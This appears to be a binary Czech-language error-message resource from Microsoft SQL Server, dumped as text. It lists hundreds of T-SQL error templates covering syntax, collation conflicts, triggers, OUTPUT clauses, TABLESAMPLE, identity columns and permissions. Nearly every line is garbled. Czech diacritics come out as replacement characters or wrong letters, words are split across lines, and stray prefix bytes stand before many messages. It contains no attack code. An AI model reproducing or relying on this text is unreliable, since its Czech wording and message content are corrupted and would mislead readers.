�Sloupec s n�zvem %1!s! je v klauzuli SET nebo v seznamu sloupco pY�kazu INSERT uveden v�ce ne~ jednou. V r�mci jedn� klauzule nesm� b�t sloupci pYiYazena v�ce ne~ jedna hodnota. Upravte klauzuli a zajistte, aby byl sloupec aktualizov�n jen jednou. Pokud tento pY�kaz prov�d� aktualizaci nebo vlo~en� sloupco do zobrazen�, aliasy sloupco mohou skr�t duplikace v k�du.

�N�zev sloupce %1!s! zadan� v oper�toru %2!s! je v konfliktu s existuj�c�m n�zvem sloupce v argumentu %3!s!.

Podle po
tu transakc� po pY�kazu EXECUTE se neshoduj� po
ty pY�kazo BEGIN a COMMIT. PYedchoz� po
et = %1!s!, aktu�ln� po
et = %2!s!.

<Objekt %1!s! nelze naj�t.

PY�kaz SELECT INTO v t�to datab�zi nelze spustit. Vlastn�k datab�ze mo~e tuto mo~nost povolit spuatn�m ulo~en� procedury sp_dboption.

@Objekt %1!s! nelze zmnit.

�Sloupec %1!s! nelze zmnit, proto~e se jedn� o po
�tan� sloupec nebo je v�sledkem oper�toru UNION.

dSloupec 
asov�ho raz�tka nelze aktualizovat.

tDo sloupce 
asov�ho raz�tka nelze vlo~it explicitn� hodnotu. Pomoc� pY�kazu INSERT mo~ete sloupec s 
asov�m raz�tkem ze seznamu sloupco vylou
it nebo do nj vlo~it hodnotu DEFAULT.

�V kontingen
n�m sloupci a sloupci hodnoty oper�toru UNPIVOT nejsou povoleny pYedpony.

�V kontingen
n�m sloupci a sloupci hodnoty oper�toru UNPIVOT nejsou povoleny pseudosloupce.

�Sloupec %1!s! je v seznamu sloupco oper�toru UNPIVOT zad�n v�cekr�t.

�Datov� typy text, ntext a image nelze v klauzuli GROUP BY pou~�t.

�Datov� typy text, ntext a image jsou v tomto poddotazu nebo agrega
n�m v�razu neplatn�.

�Ve funkci TEXTPTR jsou povoleny pouze sloupce z�kladn� tabulky.

�%1!s! nen� platn� styl 
�sla pYi pYevodu z datov�ho typu %2!s! na Yetzec znako.

�V aktiva
n� ud�losti INSTEAD OF nelze pou~�t funkci READTEXT na vlo~en� nebo odstrann� tabulky.

�Pravidla nelze nav�zat na datov� typy text, ntext a image.

�PY�kazy READTEXT, WRITETEXT a UPDATETEXT nelze pou~�t se zobrazen�mi 
i funkcemi.

xLogick� tabulky INSERTED a DELETED nelze aktualizovat.

hPY�kaz %1!s! nen� v aktiva
n� ud�losti povolen.

�Funkce PATINDEX pracuje pouze s datov�mi typy char, nchar, varchar, nvarchar, text a ntext.

�Datov� typ %1!s! nelze vytvoYit, proto~e nkter� z argumento maj� hodnoty, kter� nejsou platn�.

�PY�kaz EXECUTE pou~�vaj�c� objekt %1!s!, metodu %2!s! je neplatn�.

�PY�kaz CAST nebo CONVERT: Zadan� atributy pro typ %1!s! jsou neplatn�.

�Nen� dostatek m�sta pro v�sledek pYevodu datov�ho typu smallmoney na typ %1!s!.

�Hodnotu typu char nelze pYev�st na typ smallmoney. Hodnota typu char m� nespr�vnou syntaxi.

�PYevod datov�ho typu char na datov� typ smallmoney zposobil chybu pYete
en� typu smallmoney.

�PYevod Yetzce znako na datov� typ smalldatetime se nezdaYil.

hU~ivatel nem� opr�vnn� k proveden� t�to akce.

�Opr�vnn� %1!s! bylo pro objekt %2!s!, datab�ze %3!s! odepYeno.

�Dotaz obsahuje po~adavek vnja�ho spojen�, kter� nen� povolen.

�PYeddefinovanou funkci newsequentialid() lze pou~�t pouze ve v�razu DEFAULT pro sloupec typu uniqueidentifier v pY�kazech CREATE TABLE a ALTER TABLE. Funkci nelze kombinovat s dala�mi oper�tory k vytv�Yen� komplexn�ch skal�rn�ch v�razo.

Tabulka %1!s! je vnitYn� 
len klauzule vnja�ho spojen�. To nen� povoleno, pokud se tabulka �
astn� tak� klauzule regul�rn�ho spojen�.

 '%1!s!' je mimo rozsah mo~nosti '%2!s!' indexu/statistiky. Platn� hodnoty zobraz�te pomoc� mo~nosti '%3!s!' ulo~en� procedury sp_configure.

�Datov� typ XML nelze porovnat ani seYadit s v�jimkou pou~it� oper�toru IS NULL.

�Datov� typy text, ntext a image nelze porovnat ani seYadit s v�jimkou pou~it� oper�toro IS NULL a LIKE.

�ID indexu %1!s! pro tabulku %2!s! (zadan� v klauzuli FROM) neexistuje.

�Index %1!s! pro tabulku %2!s! (zadan� v klauzuli FROM) neexistuje.

�Index %1!s! pro tabulku %2!s! nelze pou~�t v pomocn�m parametru. Indexy XML nejsou v pomocn�ch parametrech povoleny.

�Hodnota %1!s! zadan� pro mo~nost MAXRECURSION pYekra
uje maxim�ln� povolenou hodnotu %2!s!.

�V tabulk�ch INSERTED a DELETED nelze pou~�t sloupce s datov�mi typy text, ntext a image.

�V ulo~en� proceduYe filtru nelze odkazovat na sloupce s datov�mi typy text, ntext a image.

�ProceduYe nebo funkci %1!s! nebyl poskytnut dostate
n� po
et argumento.

�Klauzuli GROUP BY ALL nelze pou~�t se speci�ln�mi tabulkami INSERTED a DELETED.

�Index %1!s! pro tabulku %2!s! (zadan� v klauzuli FROM) je zak�z�n nebo je um�stn ve skupin souboro, kter� nen� online.

ID indexu %1!s! pro tabulku %2!s! (zadan� v klauzuli FROM) je zak�z�no nebo je um�stno ve skupin souboro, kter� nen� online.

�Funkce vracej�c� tabulku %1!s! nemo~e obsahovat alias sloupce.

�Tabulka (a jej� sloupce) vr�cen� metodou vracej�c� tabulku mus� m�t alias.

�Nespr�vn� syntaxe pobl�~ kl�
ov�ho slova WITH. Je-li tento pY�kaz v�raz b~n� tabulky, klauzule XMLNAMESPACES nebo klauzule CHANGE_TRACTING_CONTEXT, je tYeba pYedch�zej�c� pY�kaz ukon
it stYedn�kem.

�Hodnota definovan� pYi kompilaci pro promnnou %1!s! v klauzuli OPTIMIZE FOR mus� b�t liter�l.

�%1!s! nen� rozpoznan� mo~nost pomocn�ho parametru tabulky.

�Promnn� %1!s! je zad�na v klauzuli OPTIMIZE FOR, ale nen� pou~ita v dotazu.

`Verze ALL oper�toru %1!s! nen� podporov�na.

�Nespr�vn� syntaxe pobl�~ textu %1!s!. Chcete-li tuto funkci povolit, je tYeba nastavit �roveH kompatibility aktu�ln� datab�ze na vyaa� hodnotu. Dala� informace naleznete v n�povd mo~nosti SET COMPATIBILITY_LEVEL pY�kazu ALTER DATABASE.

�Identifik�tor o v�ce 
�stech %1!s! je nejednozna
n�. Existuj� oba sloupce %2!s! a %3!s!.

�Vol�n� funkce %1!s! je nejednozna
n�: Existuj� u~ivatelsky definovan� funkce a vol�n� metody s t�mto n�zvem.

Pro dan� pY�kaz nelze generovat pl�n kurzoru, proto~e funkce textptr() byla pou~ita na sloupec LOB jedn� ze z�kladn�ch tabulek.

�Ka~d� v�raz GROUP BY mus� obsahovat alespoH jeden odkaz na sloupec.

�C�l %1!s! klauzule OUTPUT INTO nemo~e b�t zobrazen� ani v�raz b~n� tabulky.

�C�lov� tabulka %1!s! klauzule OUTPUT INTO nemo~e obsahovat ~�dn� povolen� aktiva
n� ud�losti.

(C�lov� tabulka %1!s! klauzule OUTPUT INTO se nemo~e �
astnit relace na ~�dn� stran (prim�rn� kl�
, ciz� kl�
). Nalezeno omezen� odkazu %2!s!.

,C�lov� tabulka %1!s! klauzule OUTPUT INTO nemo~e obsahovat ~�dn� povolen� omezen� CHECK ani pravidla. Nalezeno omezen� CHECK nebo pravidlo %2!s!.

 C�lov� tabulka %1!s! pY�kazu DML nemo~e obsahovat ~�dn� povolen� aktiva
n� ud�losti, obsahuje-li pY�kaz klauzuli OUTPUT bez klauzule INTO.

TVol�n� funkce nelze pou~�t tak, aby se shodovalo s c�lovou tabulkou v klauzuli FROM pY�kazu DELETE nebo UPDATE. M�sto toho pou~ijte n�zev funkce %1!s! bez parametro.

Nespr�vn� syntaxe pobl�~ textu %1!s!. Pokud se m� jednat o v�raz b~n� tabulky, je tYeba pYedchoz� pY�kaz explicitn ukon
it stYedn�kem.

8PY�kazy READTEXT, WRITETEXT a UPDATETEXT nelze pou~�t se zobrazen�mi, vzd�len�mi tabulkami a tabulkami INSERTED a DELETED uvnitY aktiva
n�ch ud�lost�.

�Hodnoty DEFAULT a NULL nejsou povoleny jako explicitn� hodnoty identity.

�Nelze vytvoYit aktiva
n� ud�lost %1!s! pro zobrazen� %2!s!. Aktiva
n� ud�losti AFTER nelze vytvoYit pro zobrazen�.

�Procedury filtru replikace nemohou obsahovat sloupce typu rozs�hl� objekt, velk� hodnoty, XML nebo CLR.

�Sloupec %1!s! nen� v tomto kontextu povolen a u~ivatelsky definovanou funkci nebo agregaci %2!s! nelze naj�t.

�V pY�kazu CREATE, DROP nebo ALTER byl pou~it nezn�m� typ objektu %1!s!.

�Vzd�len� odkaz na funkci %1!s! nen� povolen a n�zev sloupce %2!s! nebyl nalezen nebo je nejednozna
n�.

�Funkce %1!s! nen� v klauzuli OUTPUT povolena, proto~e prov�d� pY�stup k u~ivatelsk�m 
i syst�mov�m datom nebo se to o n� pYedpokl�d�. Ve v�choz�m nastaven� se o funkci pYedpokl�d�, ~e prov�d� pY�stup k datom, nen�-li sv�zan� se sch�matem.

�Pro parametr %1!s! nelze deklarovat vlastnost READONLY, proto~e se nejedn� o parametr s hodnotou tabulky.

�Parametr s hodnotou tabulky %1!s! nelze deklarovat jako parametr mo~nosti OUTPUT.

�Promnnou tabulky %1!s! nelze pYedat ulo~en� proceduYe pomoc� mo~nosti OUTPUT.

pProcedura %1!s! neobsahuje parametr s n�zvem %2!s!.

�Sloupec %1!s! nem� platn� datov� typ. Sloupec nemo~e b�t u~ivatelem definovan� typ tabulky.

�Sloupec, parametr nebo promnn� %1!s!: Nelze naj�t datov� typ %2!s!.

�Parametr s hodnotou tabulky %1!s! je tYeba deklarovat s mo~nost� READONLY.

�Kdy~ klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE, funkce %1!s! nen� v klauzuli %2!s! povolena. Funkce toti~ prov�d� pY�stup k syst�mov�m nebo u~ivatelsk�m datom nebo se tento pY�stup pYedpokl�d�. Ve v�choz�m nastaven� se o funkci pYedpokl�d�, ~e prov�d� pY�stup k datom, nen�-li sv�zan� se sch�matem.

4Kdy~ klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE, c�l %1!s! pY�kazu INSERT nemo~e b�t zobrazen� ani v�raz b~n� tabulky.

HKdy~ klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE, c�lov� tabulka %1!s! pY�kazu INSERT nemo~e m�t povoleny ~�dn� aktiva
n� ud�losti.

�Kdy~ klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE, c�lov� tabulka %1!s! pY�kazu INSERT se nemo~e �
astnit relace na ~�dn� stran (prim�rn� kl�
, ciz� kl�
). Nalezeno omezen� odkazu %2!s!.

hKdy~ klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE, c�lov� tabulka %1!s! pY�kazu INSERT nemo~e m�t povolena ~�dn� pravidla. Nalezeno pravidlo %2!s!.

�C�lov� tabulka %1!s! pY�kazu MERGE nemo~e m�t povolena ~�dn� pravidla. Nalezeno pravidlo %2!s!.

�C�l %1!s! klauzule OUTPUT INTO obsahuje index s mo~nost� ignore_dup_key a nelze jej pou~�t spolu s klauzul� OUTPUT.

�Seznam c�lov�ch sloupco pY�kazu INSERT, UPDATE nebo MERGE nemo~e sou
asn obsahovat zhuatn� sloupec a sadu sloupco, kter� obsahuje tento zhuatn� sloupec. ZmHte pY�kaz tak, aby zahrnoval bu zhuatn� sloupec, nebo sadu sloupco, ale ne oboj�.

�Po
et c�lov�ch sloupco zadan�ch v pY�kazu INSERT, UPDATE nebo MERGE pYekra
uje maxim�ln� hodnotu %1!s!. Celkov� po
et zahrnuje identitu, 
asov� raz�tko a sloupce, kter� maj� v�choz� hodnoty. Chcete-li chybu opravit, zmHte dotaz tak, aby se zamYil na sadu zhuatn�ch sloupco m�sto jednotliv�ch zhuatn�ch sloupco.

pProcesor dotazo nemohl vytvoYit pl�n dotazu, proto~e n�zev %1!s! v pomocn�m parametru FORCESEEK v tabulce nebo zobrazen� %2!s! se neshoduje s n�zvy kl�
ov�ch sloupco indexu %3!s!.

dProcesor dotazo nemohl vytvoYit pl�n dotazu, proto~e pomocn� parametr FORCESEEK v tabulce nebo zobrazen� %1!s! nelze pou~�t s parametrem %2!s!, kter� je zad�n indexem %3!s!.

Procesor dotazo nemohl vytvoYit pl�n dotazu, proto~e pomocn� parametr FORCESEEK v zobrazen� %1!s! se pou~�v� bez pomocn�ho parametru NOEXPAND. Odealete dotaz znovu s pou~it�m pomocn�ho parametru NOEXPAND nebo odeberte pomocn� parametr FORCESEEK ze zobrazen�.

�Procesor dotazo nemohl vytvoYit pl�n dotazu, proto~e pomocn� parametr FORCESEEK v tabulce nebo zobrazen� %1!s! zadal vta� po
et sloupco vyhled�v�n�, ne~ je po
et kl�
ov�ch sloupco v indexu %2!s!.

DProcesor dotazo nemohl vytvoYit pl�n dotazu, proto~e pomocn� parametr FORCESEEK v tabulce nebo zobrazen� %1!s! nelze pou~�t s indexem �lo~iat sloupce %2!s!.

�Pomocn� parametr %1!s! je platn� pouze v pameov optimalizovan�ch tabulk�ch.

Tato operace nen� ve slub Windows Azure SQL Database se zapnut�m pY�znakem trasov�n� TRCFLG_AUTO_PARTITION_REPLICATE podporov�na.

\Neimplementovan� pY�kaz nebo v�raz %1!s!

�Datov� typy %1!s! a %2!s! jsou v oper�toru %3!s! nekompatibiln�.

�Oper�tor je pro datov� typ neplatn�. Oper�tor je %1!s!, typ je %2!s!.

�Odkaz na sloupec %1!s!.%2!s! nen� povolen, proto~e odkazuje na z�kladn� tabulku, kterou tento pY�kaz nemn�.

�Vzd�lenou tabulku nelze pou~�t jako c�l DML v pY�kazu, kter� zahrnuje klauzuli OUTPUT nebo vnoYen� pY�kaz DML.

�Funkci %1!s! nelze pou~�t v oper�toru PIVOT, proto~e nen� invariantn� vo
i hodnot�m NULL.

�Doalo k vnitYn� chyb. Doalo k chyb rutiny pro Yetzce v souboru %1!s! na Y�dku %2!s! s hodnotou HRESULT 0x%3!s!.

�V seznamu ORDER BY byl na m�st %1!s! zjiatn konstantn� v�raz.

�Sloupec %1!s! nelze aktualizovat, proto~e je odvozen� nebo konstantn�.

�Korelovan� parametry a poddotazy nejsou vlo~enou funkc� %1!s! podporov�ny.

PY�kaz UPDATE nen� povolen, proto~e aktualizuje zobrazen� %1!s!, kter� se �
astn� spojen� a obsahuje aktiva
n� ud�lost INSTEAD OF UPDATE.

PY�kaz DELETE nen� povolen, proto~e aktualizuje zobrazen� %1!s!, kter� se �
astn� spojen� a obsahuje aktiva
n� ud�lost INSTEAD OF DELETE.

dFrontu slu~by %1!s! nelze pY�mo aktualizovat.

�Klauzule TOP nen� povolena v pY�kazech UPDATE nebo DELETE pou~it�ch na zobrazen� odd�lo.

LObjekty zveYejHuj�c� sloupce typu CLR nejsou v distribuovan�ch dotazech povoleny. Chcete-li z�skat pY�stup ke vzd�len�mu objektu %1!s!, pou~ijte pYed�vac� dotaz.

�Datov� typ %1!s! nelze vybrat metodou DISTINCT, proto~e nen� porovnateln�.

pV�raz b~n� tabulky je definov�n, ale nen� pou~it.

`Metody datov�ho typu XML nejsou v omezen� CHECK podporov�ny. Vol�n� metody mo~ete zabalit vytvoYen�m skal�rn� u~ivatelem definovan� funkce. K chyb doalo v tabulce %1!s!.

�Metody datov�ho typ XML nejsou v definic�ch po
�tan�ch sloupco promnn�ch tabulky podporov�ny a vracej� tabulky funkc� vracej�c�ch tabulku. K chyb doalo ve sloupci %1!s!, tabulce %2!s!, pY�kazu %3!s!.

�Datov� typ %1!s! pYij�mac� promnn� se nerovn� datov�mu typu %2!s! sloupce %3!s!.

�D�lka %1!s! pYij�mac� promnn� je mena� ne~ d�lka %2!s! sloupce %3!s!.

Definici ID omezen� %1!s! v ID datab�ze %2!s! se nepodaYilo na
�st. OvYte integritu datab�ze spuatn�m pY�kazu DBCC CHECKCATALOG.

tHromadn� vlo~en� nelze pou~�t ve v�cepY�kazov� d�vce.

�Metody datov�ho typu XML ji~ nejsou v omezen� CHECK podporov�ny. Omezen� vyYate nebo vol�n� metody zabalte vytvoYen�m skal�rn� u~ivatelem definovan� funkce. K chyb doalo v tabulce %1!s!.

dFunkce %1!s! nen� v klauzuli OUTPUT povolena.

�Metody datov�ho typu XML nejsou v definic�ch po
�tan�ch sloupco podporov�ny. Vol�n� metody mo~ete zabalit vytvoYen�m skal�rn� u~ivatelem definovan� funkce. K chyb doalo ve sloupci %1!s!, tabulce %2!s!, pY�kazu %3!s!.

�Metody datov�ho typu XML nejsou povoleny v pravidlech. K chyb doalo v tabulce %1!s!.

�Doalo k vnitYn� chyb kompilace dotazu. PYete
en� z�sobn�ku nelze zpracovat.

lFunkci %1!s! nelze pou~�t na vzd�len� zdroje dat.

�Argument NEST mus� b�t odkazem na sloupec. V�razy nejsou povoleny.

�Pou~it� oper�toru s vedleja�m �
inkem %1!s! ve funkci je neplatn�.

�PY�kazy SELECT obsa~en� ve funkci nemohou klientovi vr�tit data.

�Konflikt kolace mezi objekty %1!s! a %2!s! v oper�toru %3!s! pro operaci %4!s! nelze vyYeait.

pTyp v�razu %1!s! je pro klauzuli COLLATE neplatn�.

<Kolace %1!s! je neplatn�.

�Klauzule COLLATE s rozn�mi kolacemi %1!s! a %2!s! zposobily konflikt kolace.

�PYevody znakov�ch str�nek nejsou pro datov� typ text podporov�ny. Od: %1!s!, do: %2!s!.

 Konflikt kolace mezi objekty %1!s! a %2!s! v oper�toru %3!s! objevuj�c�m se v sloupci pY�kazu statement column %5!s! (%4!s!) nelze vyYeait.

�Klauzuli COLLATE nelze pou~�t pro u~ivatelem definovan� datov� typy.

�Kolace %1!s! je podporov�na pouze pro datov� typy standardu Unicode a nelze ji nastavit na �rovni datab�ze nebo serveru.

�Argumentem pY�kazu UNNEST mus� b�t sloupec vnoYen� tabulky.

�Posledn� pY�kaz obsa~en� ve funkci mus� b�t pY�kaz RETURN.

\Implicitn� pYevod hodnoty %1!s! na typ %2!s! nelze prov�st, proto~e v�sledn� kolace je z dovodu konfliktu kolace mezi objekty %3!s! a %4!s! v oper�toru %5!s! nevyYeaen�.

dImplicitn� pYevod hodnoty %1!s! na typ %2!s! nelze prov�st, proto~e kolace t�to hodnoty je z dovodu konfliktu kolace mezi objekty %3!s! a %4!s! v oper�toru %5!s! nevyYeaen�.

�C�lovou tabulku %1!s! pY�kazu SELECT INTO nelze vytvoYit, proto~e sloupec typu XML %2!s! je zad�n s kolekc� sch�mat %3!s! z datab�ze %4!s!. Sloupce XML nemohou odkazovat na sch�mata v jin�ch datab�z�ch.

Kolace %1!s! je podporov�na pouze pro datov� typy standardu Unicode a nelze ji pou~�t na datov� typy char, varchar nebo text.

�Oper�tor DISTINCT nen� povolen pro rekurzivn� 
�st rekurzivn�ho v�razu b~n� tabulky %1!s!.

�Oper�tor TOP nebo OFFSET nen� povolen pro rekurzivn� 
�st rekurzivn�ho v�razu b~n� tabulky %1!s!.

�Vnja� spojen� nen� povoleno pro rekurzivn� 
�st rekurzivn�ho v�razu b~n� tabulky %1!s!.

�Funkce s parametry nejsou povoleny pro rekurzivn� 
�st rekurzivn�ho v�razu b~n� tabulky %1!s!.

�Funkce s vedleja�mi �
inky nejsou povoleny pro rekurzivn� 
�st rekurzivn�ho spole
n�ho tabulkov�ho v�razu %1!s!.

lRekurzivn� odkazy nejsou v poddotazech povoleny.

�Oper�tor UNION nen� povolen pro rekurzivn� 
�st rekurzivn�ho v�razu b~n� tabulky %1!s!.

Klauzule GROUP BY, HAVING nebo agrega
n� funkce nejsou povoleny pro rekurzivn� 
�st rekurzivn�ho v�razu b~n� tabulky %1!s!.

�Konflikt kolace mezi polo~kami %1!s! a %2!s! v operaci %3!s! nelze vyYeait.

4Kdy~ je pou~it pomocn� parametr KEEPIDENTITY a tabulka obsahuje sloupec identity, je tYeba zadat explicitn� seznam sloupco pro c�lovou tabulku %1!s!.

�Synonymum %1!s! odkazuje na synonymum %2!s!. ZYetzen� synonym nen� povoleno.

�Lze zadat pouze jednu z tchto tY� mo~nost�: SINGLE_BLOB, SINGLE_CLOB nebo SINGLE_NCLOB.

�Je tYeba zadat soubor form�tu nebo jednu z tchto tY� mo~nost�: SINGLE_BLOB, SINGLE_CLOB nebo SINGLE_NCLOB.

tV oper�toru PIVOT je zad�na nespr�vn� hodnota %1!s!.

�Definice po
�tan�ch sloupco pro tabulku %1!s! nelze na
�st.

�Klauzule SAMPLE je neplatn�. Vzorkovat lze pouze n�zvy tabulek z klauzule FROM dotazo SELECT, UPDATE a DELETE.

lVelikost hodnoty vlastnosti PERCENT klauzule TABLESAMPLE %1!s! pro tabulku %2!s! je neplatn�. Velikost hodnoty vlastnosti PERCENT klauzule TABLESAMPLE mus� b�t v rozmez� 0-100.

dHodnota vlastnosti ROWS nebo po
�te
n� hodnota mo~nosti REPEATABLE v klauzuli TABLESAMPLE pro tabulku %1!s! je neplatn�. Hodnota nebo po
�te
n� hodnota mus� b�t cel� 
�slo.

�Klauzuli TABLESAMPLE nelze pou~�t v definici zobrazen� nebo vlo~en� tabulkov� funkce.

pHodnota vlastnosti ROWS nebo po
�te
n� hodnota mo~nosti REPEATABLE %1!s! v klauzuli TABLESAMPLE pro tabulku %2!s! je neplatn�. Hodnota nebo po
�te
n� hodnota mus� b�t vta� ne~ 0.

�Klauzuli TABLESAMPLE nelze pou~�t s tabulkovou funkc� %1!s!.

�Klauzuli TABLESAMPLE nelze pou~�t s tabulkou odkazovan�ho serveru %1!s!.

�Klauzule TABLESAMPLE nebo REPEATABLE obsahuje nekonstantn� nebo neplatn� v�raz.

tKlauzuli OUTPUT nelze pou~�t v pY�kazu INSERT...EXEC.

|Maxim�ln� po
et deklarovan�ch m�stn�ch promnn�ch: %1!s!.

�Zobrazen� a vlo~en� funkce nemohou vr�tit sloupce XML, kter� jsou zad�ny s kolekc� sch�mat zaregistrovanou v jin� ne~ aktu�ln� datab�zi. Sloupec %1!s! je zad�n s kolekc� sch�mat %2!s! registrovanou v datab�zi %3!s!.

�%1!s! nepovoluje zad�n� n�zvu sch�matu jako pYedpony n�zvu sestaven�.

hPro pY�kaz %1!s! byla zad�na neplatn� mo~nost.

�Sloupce (%1!s!) musej� b�t porovnateln�. Typ sloupce %2!s! je %3!s!. Tento typ nen� porovnateln�.

�Klauzuli OUTPUT nelze zadat, proto~e c�lov� zobrazen� %1!s! je zobrazen� odd�lo.

hFunkce nov� synchronizace je do
asn zak�z�na.

�Hromadn� sada Y�dko z klauzule po~aduje zad�n� korela
n�ho n�zvu.

4V sad�ch v�sledko dotazu z�skan�ch pomoc� funkc� OPENQUERY a OPENROWSET nejsou povoleny duplicitn� n�zvy sloupco. N�zev sloupce %1!s! je duplicitn�.

�Sloupec %1!s! vr�cen� metodou nodes() nelze pou~�t pY�mo. Lze jej pou~�t pouze s jednou ze 
tyY metod datov�ho typu XML: exist(), nodes(), query() a value(), nebo v kontrol�ch IS NULL a IS NOT NULL.

�Klauzuli TABLESAMPLE lze pou~�t pouze s m�stn�mi tabulkami.

�Vr�cen� sloupec tabulky %1!s! nen� stejn�ho typu, s jak�m byl vytvoYen. VyYate modul a vytvoYte ho znovu pomoc� dvojd�ln�ho n�zvu pro typ nebo obnovte metadata jeho parametro pomoc� ulo~en� procedury sp_refreshsqlmodule.

�Parametr %1!s! nen� stejn�ho typu, s jak�m byl vytvoYen. VyYate modul a vytvoYte ho znovu pomoc� dvojd�ln�ho n�zvu pro typ nebo obnovte metadata jeho parametro pomoc� ulo~en� procedury sp_refreshsqlmodule.

�V klauzul�ch TABLESAMPLE a REPEATABLE nejsou povoleny promnn�.

�V klauzuli TABLESAMPLE nebo REPEATABLE je obsa~ena neplatn� hodnota.

dParametr je pro funkci getchecksum neplatn�.

4Prob�h� pokus o pYed�n� parametru s hodnotou tabulky s %1!s! sloupci, pYi
em~ odpov�daj�c� u~ivatelem definovan� typ tabulky po~aduje %2!s! sloupco.

�Aktu�ln� u~ivatelsk� �
et byl vyvol�n pY�kazem SETUSER nebo SP_SETAPPROLE. Zmna datab�z� nen� povolena.

|Byl zad�n neplatn� Y�dic� znak %1!s! (v predik�tu %2!s!).

�Argument pro mo~nost SET ROWCOUNT je neplatn�. Mus� se jednat o nez�porn� cel� 
�slo, nen� povolena hodnota NULL.

\U~ivatelsk� jm�no %1!s! nebylo nalezeno.

Nelze vytvoYit Y�dek pracovn� tabulky vta� ne~ maxim�ln� povolen� hodnota. Odealete dotaz znovu a pou~ijte pomocn� parametr ROBUST PLAN.

�Nelze vytvoYit Y�dek velikosti %1!s!, co~ je v�ce ne~ povolen� maxim�ln� velikost %2!s!.

@Poddotaz vr�til v�ce ne~ jednu hodnotu. To nen� povoleno, kdy~ poddotaz n�sleduje za oper�tory =, !=, <, <=, >, >= nebo kdy~ je poddotaz pou~it jako v�raz.

�Sloupec pY�kazu INSERT nebo UPDATE je v konfliktu s pravidlem vynucen�m pYedchoz�m pY�kazem CREATE RULE. PY�kaz byl ukon
en. Ke konfliktu doalo v datab�zi %1!s!, tabulce %2!s!, sloupci %3!s!.

�Do sloupce %1!s! tabulky %2!s! nelze vlo~it hodnotu NULL. Sloupec nepovoluje hodnoty NULL. Akce %3!s! se nezdaYila.

tPYid�n� hodnoty do sloupce %1!s! zposobilo pYete
en�.

\Datov� typ %1!s! nelze pYev�st na %2!s!.

XVl�kno pY�kazu WAITFOR bylo vylou
eno.

<Aktiva
n� ud�lost vr�tila objekt tY�dy resultset nebo byla spuatna s mo~nost� SET NOCOUNT OFF, zat�mco byla aktivn� jin� zb�vaj�c� sada v�sledko dotazu.

�Aktiva
n� ud�lost vr�tila objekt tY�dy resultset a mo~nost serveru  disallow results from triggers  m� hodnotu true.

�Sloupec vr�cen� metodou nodes() nelze pYev�st na datov� typ %1!s!. Lze jej pou~�t pouze s jednou ze 
tyY metod datov�ho typu XML: exist(), nodes(), query() a value(), nebo v kontrol�ch IS NULL a IS NOT NULL.

0%1!s! typo XML je omezeno jin�mi kolekcemi sch�mat XML nebo nen� povolena mo~nost DOCUMENT 
i CONTENT. Dotaz mo~ete spustit pomoc� funkce CONVERT.

Implicitn� pYevod mezi typy XML omezen�mi rozn�mi kolekcemi sch�mat XML nen� povolen. Dotaz mo~ete spustit pomoc� funkce CONVERT.

�Explicitn� pYevod datov�ho typu %1!s! na typ %2!s! nen� povolen.

�PY�kaz byl ukon
en. Maxim�ln� povolen� po
et rekurz� %1!s! byl vy
erp�n pYed dokon
en�m pY�kazu.

�Podle 
asov�ho raz�tka (zmnno na %1!s!) byl Y�dek aktualizov�n jin�m u~ivatelem.

�V r�mci spouatn� aktiva
n� ud�losti nelze parametr XACT ABORT nastavit na hodnotu OFF.

�Akce %1!s! se nezdaYila, proto~e nen� podporov�na v edici t�to instance syst�mu SQL Server %2!s!. Podrobn� informace o podporovan�ch funkc�ch v rozn�ch edic�ch syst�mu SQL Server naleznete v dokumentaci Knihy online.

�Funkce %1!s! zposobila pYete
en�. Po
et sou
�st� data (datepart) oddluj�c�ch dv instance data 
i 
asu je pY�lia velk�. Zkuste pou~�t funkci %2!s! s mena�mi po~adavky na pYesnost mo~nosti datepart.

lFunkci %1!s! byl pYed�n parametr neplatn� d�lky.

�Funkci LEFT nebo SUBSTRING byl pYed�n parametr neplatn� d�lky.

�Po vytvoYen� c�lov� tabulky bylo zmnno sch�ma. Spusete znovu dotaz SELECT INTO.

�PY�kaz RAISERROR nelze spustit, mno~stv� syst�mov� pamti je nedostate
n�.

|PY�kaz nelze prov�st, velikost z�sobn�ku nen� dostate
n�.

�Byla zjiatna neplatn� hodnota data a 
asu. Hodnota pYekra
uje rok 9999.

�VytvoYen� vr�cen� tabulky pro funkci vracej�c� tabulku %1!s! se nezdaYilo.

V tabulce %1!s! nelze vlo~it explicitn� hodnotu pro sloupec identity, kdy~ je mo~nost IDENTITY_INSERT nastavena na hodnotu OFF.

�Explicitn� hodnotu pro sloupec identity v tabulce %1!s! je tYeba zadat, kdy~ je mo~nost IDENTITY_INSERT nastavena na hodnotu ON nebo kdy~ u~ivatel replikace vkl�d� do sloupce identity s mo~nost� NOT FOR REPLICATION.

PY�kaz %1!s! zposobil konflikt s omezen�m %2!s! s n�zvem %3!s!. Ke konfliktu doalo v datab�zi %4!s!, tabulce %5!s!, %6!s!%7!s!%8!s!.

Vlo~en� se nezdaYilo. Doalo ke konfliktu s omezen�m CHECK rozsahu identity v datab�zi %1!s!, replikovan� tabulce %2!s!, %3!s!%4!s!%5!s!. Pokud je sloupec identity automaticky spravov�n replikac�, aktualizujte rozsah n�sleduj�c�m zposobem: Pro datab�zi vydavatele spusete proceduru sp_adjustpublisheridentityrange, pro datab�zi odbratele spusete agenta distribuce nebo agenta slou
en�.

�Kolace %1!s! pYij�mac� promnn� se nerovn� kolaci %2!s! sloupce %3!s!.

�Pokus o vlo~en� nebo aktualizaci se nezdaYil, proto~e c�lov� zobrazen� ur
uje klauzuli WITH CHECK OPTION nebo obsahuje zobrazen�, kter� uvedenou klauzuli ur
uje, a nejm�n jeden Y�dek plynouc� z operace se pro omezen� CHECK OPTION nekvalifikoval.

�Doalo k chyb funkce rozhran� CryptoAPI %1!s!. Chyba 0x%2!s!: %3!s!

pU~ivatelem definovan� funkce jeat nejsou povoleny.

�PY�kaz INSERT EXEC se nezdaYil, proto~e ulo~en� procedura zmnila sch�ma c�lov� tabulky.

�Pouze funkce a nkter� roza�Yen� ulo~en� procedury mohou b�t spuatny uvnitY funkce.

tVzd�len� vol�n� funkc� nejsou uvnitY funkce povolena.

TPY�stup k souboru %1!s! se nezdaYil.

